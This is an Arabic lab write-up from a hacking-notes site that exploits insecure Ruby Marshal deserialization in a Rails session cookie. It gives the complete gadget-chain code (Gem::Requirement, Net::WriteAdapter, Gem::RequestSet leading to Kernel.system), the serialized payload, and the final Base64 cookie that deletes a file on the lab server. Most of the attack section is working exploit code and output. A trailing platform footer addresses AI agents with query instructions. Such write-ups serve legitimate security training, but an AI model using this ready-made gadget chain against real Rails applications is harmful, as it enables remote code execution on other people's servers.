> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/deserialization/ruby-deserialization-with-documented-gadget.md).

# إلغاء تسلسل Ruby باستخدام أداة موثقة

### استغلال إزالة تسلسل Ruby باستخدام سلسلة Gadgets موثقة

**خلفية المختبر**

يستخدم هذا المختبر آلية جلسة قائمة على التسلسل ويستند إلى **Ruby on Rails** إطار العمل. / توجد أدوات مُعَدّة موثقة علنًا تسمح بتنفيذ تعليمات برمجية عن بُعد (NCE) عبر `Marshal`.

الهدف:/ إنشاء كائن مُسلسَل خبيث، وحقنه في ملف تعريف الارتباط الخاص بالجلسة وحذف الملف:

```bash
/home/carlos/morale.txt
```

المعرّف المزوَّد:

wiener : peter

**تحليل الجلسة**

بعد المصادقة، يوفّر الخادم ملف تعريف ارتباط للجلسة مُسلسَلًا بصيغة Base64:

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

وهذا يشير بوضوح إلى استخدام `Marshal.dump` على جانب الخادم.

تُستخدم سلسلة gadgets موثقة تعتمد على أصناف Ruby التالية:

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

تؤدي هذه السلسلة إلى استدعاء `Kernel.system`.

**بناء الحمولة في Ruby**

يُستخدم الكود التالي لإنشاء كائن مُسلسَل يشغّل الأمر المستهدف:

```ruby
# تحميل الأصناف المطلوبة تلقائيًا
Gem::SpecFetcher
Gem::Installer

# منع الحمولة من العمل عند تنفيذ Marshal.dump لها
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="/files/fff83d27210eb49cd6cf4243ea7d580935e4e41b" alt=""><figcaption></figcaption></figure>

**الترميز بصيغة Base64**

من أجل حقن الحمولة في ملف تعريف ارتباط الجلسة، يتم ترميزها بصيغة Base64:

```java
puts Base64.encode64(payload)
```

السلسلة النهائية التي تم الحصول عليها:

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="/files/a48f5e5caa3fa80ca67bcebed6f9362eb2d1a82c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/deserialization/ruby-deserialization-with-documented-gadget.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
